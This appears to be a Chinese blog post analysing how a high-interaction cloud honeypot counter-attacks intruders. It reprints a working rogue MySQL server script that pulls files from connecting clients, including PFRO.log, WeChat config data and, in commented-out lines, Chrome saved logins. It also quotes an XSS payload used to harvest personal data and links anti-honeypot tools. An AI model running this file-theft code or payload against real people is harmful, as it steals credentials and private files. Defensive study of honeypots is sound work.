高交互式云蜜罐行为分析

VSole2022-06-08 15:41:31

概念

蜜罐又叫蜜罐Honeypot,蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。

分类

云蜜罐从交互来区分,包括低交互蜜罐、高交互蜜罐。简单来说低交互式的蜜罐是为了实现对攻击行为的捕获,比如简单仿ssh、ftp、smtp、mysql等服务实现对攻击目标的诱捕。

高交互蜜罐一般会在低交互的基础上除了伪造虚假服务之外,还能实现模仿托管各种系统OA办公系统、网站等的业务系统外,能够对攻击者的行为进行追踪溯源和分析。

功能

下面以某厂蜜罐为例,下面的是实时大屏。

(该图片来自于网络<侵删>)

高交互蜜罐,能够实现对攻击者攻击行为分析,攻击画像分析,攻击源等信息进行获取。



除了溯源画像外,基本上低交互蜜罐也能实现其它功能。就主要功能点在下面这几点

对于攻击行为分析主要在日志,可以对攻击者的操作行为进行分析(包含入侵日志、扫描日志等),当然各项日志可查看详细信息,但是对于溯源来讲仅仅这些内容是无法实现的,蜜罐除了诱捕之外的亮点就在于溯源画像。

内容包含社交信息,当然对于溯源来说两点就够了。社交+可能获取到敏感信息的反制文件。


包含多个信息点儿,主要实现的原理是通过脚本实现的。后面分享脚本儿以及抓取流量。

环境+分析

win10   192.168.63.40wireshark   3.6.5

直接开始抓包,对目标的地址进行访问,在访问mysql服务的时候,数据包如下

这里我们直接追踪数据流,直接追踪的是tcp流,在进行mysql连接的时候,用的协议自然有mysql和tcp协议,数据库连接使用的是mysql协议,数据块传输的时候使用的是tcp协议

可以看到在连接数据的时候,蜜罐会下载我们本机的文件。


这里可能跟数据库版本有关,下载的数据块也不是太完整,但是为了能够尽可能多的实现或者说是获取到攻击方的信息,数据会进行分块传输。

下面是来自github上的脚本



#coding=utf-8import socketimport osimport re
def mysql_get_file_content(filename,conn,address):    logpath = os.path.abspath('.') + "/log/" + address[0]    if not os.path.exists(logpath):        os.makedirs(logpath)    conn.sendall(        "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")    try:        conn.recv(9999)    except Exception as e:        print(e)
    try:        conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")        res1 = conn.recv(9999)        # SHOW VARIABLES        if 'SHOW VARIABLES' in res1:            conn.sendall(            res2 = conn.recv(9999)            if 'SHOW WARNINGS' in res2:                conn.sendall("")                res3 = conn.recv(9999)                if 'SHOW COLLATION' in res3:                    conn.sendall("")                    res4 = conn.recv(9999)                    if 'SET NAMES utf8' in res4:                        conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")                        res5 = conn.recv(9999)                        if 'SET character_set_results=NULL' in res5:                            conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")                            conn.close()                    else:                        conn.close()                else:                    conn.close()            else:                conn.close()        else:            try:                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename                conn.sendall(wantfile)                content = conn.recv(99999999)                # print(len(content))                conn.close()                if len(content) > 4:                    if 'PFRO' in filename:                        with open(logpath + "/PFRO.log", "w") as f:                            f.write(content)                            f.close()                        return True                    else:                        with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:                            f.write(content)                            f.close()                        return True                else:                    return False            except Exception as e:                print (e)    except Exception as e:        print (e)
def run():    port = 3306    sv = socket.socket()    sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sv.bind(("",port))    sv.listen(100)
-while True:    conn, address = sv.accept()    logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'    if os.path.exists(logpath):        with open(logpath, 'r')as f:            content = f.read()        f.close()
        # get username
        content = content.replace('','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')        try:            res = re.findall(r'Users\\(.*)\\', content)[0]            username = res.split('\\')[0]            #line = '\\\\10.76.6.93\\test'            line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
            # line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'
            # line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/History'
            #print(line)            if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):                res = mysql_get_file_content(line,conn,address)                if res:                    print ("Read Success! ---> " + line)                else:                    print ("Not Found~ ---> " + line)            else:                conn.close()        except Exception as e:            print(e)    else:        line = 'C:/Windows/PFRO.log'        res = mysql_get_file_content(line,conn,address)        if res:            print ("Read Success! ---> " + line)        else:            print ("Not Found~ ---> " + line)


但是真实的情况是在数据传输的模块以及生成的文件不止一个mysql文件

对于个人隐私信息模块的抓取,在访问钓鱼页面的时候,直接查看网络查看加载内容

我们根据监测日志流量可以看到存在跨站


跨站脚本vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385; FileName(xxx)=; PayLoad(xxx)=GET /pc/content/getMqNews?vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385 HTTP/1.1\0d\0aHost: xxxxxxxxx\0d\0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\0d\0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\0d\0aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\0d\0aAccept-Encoding: gzip, deflate\0d\0aConnection: keep-alive\0d\0aReferer: /\0d\0aUpgrade-Insecure-Requests: 1\0d\0a\0d\0a;


存在python脚本获取个人隐私信息

这里是抓取到的当当的信息



下面是一部分监听邮箱信息的脚本



parser = argparse.ArgumentParser(description="Command line arguments")parser.add_argument('-i',action='store', metavar='', default='0.0.0.0', help='The IP address to listen on')parser.add_argument('-p',action='store', metavar='',  default='25', help='The port to listen on')parser.add_argument('-s',action='store', metavar='mailserver', default=os.environ.get('MAILSERVER_NAME', None), help='A Name that\'ll show up as the mail server name')parser.add_argument('-t',action='store', choices=['open_relay', 'postfix_creds', 'schizo_open_relay'], required=True, help='honeypot type')parser.add_argument('-logpath',action='store', metavar='',  default=os.environ.get('LOGPATH'), help='path for file logging')parser.add_argument('-hpfserver', action='store', metavar='', default=os.environ.get('HPFEEDS_SERVER', None), help='HPFeeds Server')parser.add_argument('-hpfport', action='store', metavar='', default=os.environ.get('HPFEEDS_PORT', None), help='HPFeeds Port')parser.add_argument('-hpfident', action='store', metavar='', default=os.environ.get('HPFEEDS_IDENT', None), help='HPFeeds Username')parser.add_argument('-hpfsecret', action='store', metavar='', default=os.environ.get('HPFEEDS_SECRET', None), help='HPFeeds Secret')parser.add_argument('-hpfchannelprefix', action='store', metavar='', default=os.environ.get('HPFEEDS_CHANNELPREFIX', None), help='HPFeeds Channel Prefix')
args = parser.parse_args()
# set own logpath
logpath="./logs/"if args.logpath:    logpath=args.logpath    # set the IP address variables
bind_ip = args.ibind_port = int(args.p)srvname = args.s


核心内容就是监听然后获取邮箱信息,当然针对不同的网站,字段内容,后端脚本也需要修改,目前各大厂商蜜罐的目标涵盖包含dangdang、suning、某lang、某度账号的抓取脚本,但成功几率不一定百分百。

那么在实现mysql反制的情况下,蜜罐能获取到什么内容呢,下面来看一下文件内容



这个攻击者的文件已经算是拿到的比较多的,前面提到了,在传输的时候因为考虑到数据块儿的大小,所以数据是分块传输的,所有个别数据有时候也不全,至于为什么有的攻击画像内容不完全,我个人猜测,这个跟攻击者使用的工具版本和系统环境都有很大的关系。

PFRO内存储的有攻击者安装的文件路径等信息,且有个人的习惯的话可以读取用户名



文件内有整个主机的文件据对路径以及安装程序



攻击者浏览器内存储的密码管理文件和书签



含用户名和密码



微信id就是这么获取的,但是确实很鸡肋,是最原始的id。

applog

顾名思义,app日志文件,作为固定证据能够使用。

如果说谈一谈蜜罐的优势。高交互的蜜罐能更加区分攻击者行为以及减少对源ip的行为误报,在一定程度上能够实现抓取“0day”的目的,毕竟攻击者的操作行为可视化。

其次部分厂家的蜜罐能在反制功能除了上述内容外就是远控攻击者终端,免杀马上线也能实现。


反蜜罐


下面是github上找的一些内容,不一定能用

反蜜罐插件

  • https://github.com/Monyer/antiHoneypot
  • https://github.com/Monyer/antiHoneypot

探测蜜罐 

https://github.com/iiiusky/AntiHoneypot-Chrome-simple

其次就是个人习惯,良好的"习惯",也能在一定程度上实现反制。


小结


主要是基于云蜜罐纯黑盒的分析,触发告警也不一定成功,可能也不是产品的问题,毕竟也是DC,但是这个东西只能说有点儿鸡肋,但是必定有中招者。

蜜罐技术mysql数据库
本作品采用《CC 协议》,转载必须注明作者和本文链接
‍相关声明 以下内容仅限用于红蓝攻防对抗等专业领域,请勿用于非法用途。 杂谈 首先,我们先讲一下蜜罐的概念,你可以简单理解较为蜜罐就是一个陷阱,故意暴露一些我们人为设计好的漏洞,让攻击者自投罗网。 蜜罐介绍 蜜罐是对攻击者的欺骗技术,用以监视、检测、分析和溯源攻击行为,其没有业务上的用途,所有流入/流出蜜罐的流量都预示着扫描或者攻击行为,因此可以比较好的聚焦于攻击流量。 蜜罐可以实现对攻击者
蜜罐又叫蜜罐Honeypot,蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
根据《网络安全法》和《关键信息基础设施安全保护条例(征求意见稿)》对关键信息基础设施定义和范围的阐述,关键信息基础设施(Critical Information Infrastructure,CII)是指一旦遭到破坏、丧失功能或者数据泄露,可能严重危害国家安全、国计民生、公共利益的信息基础设施,包括能源、交通、水利、金融、电子政务、公共通信和信息服务等关键行业和领域。 随着“新基建”、“工业互
笔者片面的从多年乙方经验(不涉及监管层面能拿到的数据)的技术层面来讨论下大攻防演练多人运动下的溯源反制思路,以及作为反制团队如何与蓝队其他成员之间进行配合反制相关的工作。 如有写的不对的地方及遗漏的地方(肯定有的),请多多交流。
一文读懂HW护网行动
2022-07-26 12:00:00
随着《网络安全法》和《等级保护制度条例2.0》的颁布,国内企业的网络安全建设需与时俱进,要更加注重业务场景的安全性并合理部署网络安全硬件产品,严防死守“网络安全”底线。“HW行动”大幕开启,国联易安誓为政府、企事业单位网络安全护航!
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留。查看下pid所对应的进程文件路径,
同时又在默认的系统环境下,通过pip安装部署,大多数情况下,是不会出现问题。相关的依赖库,在Python安装之后,都是通过pip来安装。但实际我们装个python2.7版本的环境就基本满足目前的需求。我们创建了一个叫做py27的虚拟环境。workonpy272.4 安装Opencananrypip在安装opencanary时,会自动安装他所需求要的各种依赖,一般不出问题的话,一切都会顺利安装完成。
大家好,我是风起,最近一直在做安全研究及Kunyu的开发维护,已经好久没有写红队攻防相关的文章了,那么近期将带来 “红队实战攻防技术” 系列的文章。
Web日志安全分析浅谈
2022-01-12 06:36:15
attack=test';select//1//from/**/1,此时请求状态码为200,但是此注入攻击并没有得到执行,实际情况中,还会有更多情况导致产生此类的噪声数据。抛开这类情况不谈,我们来说说在一般应急响应场景中我们分析日志的常规办法。假设我们面对的是一个相对初级的黑客,一般我们直接到服务器检查是否存有明显的webshell即可。
VSole
网络安全专家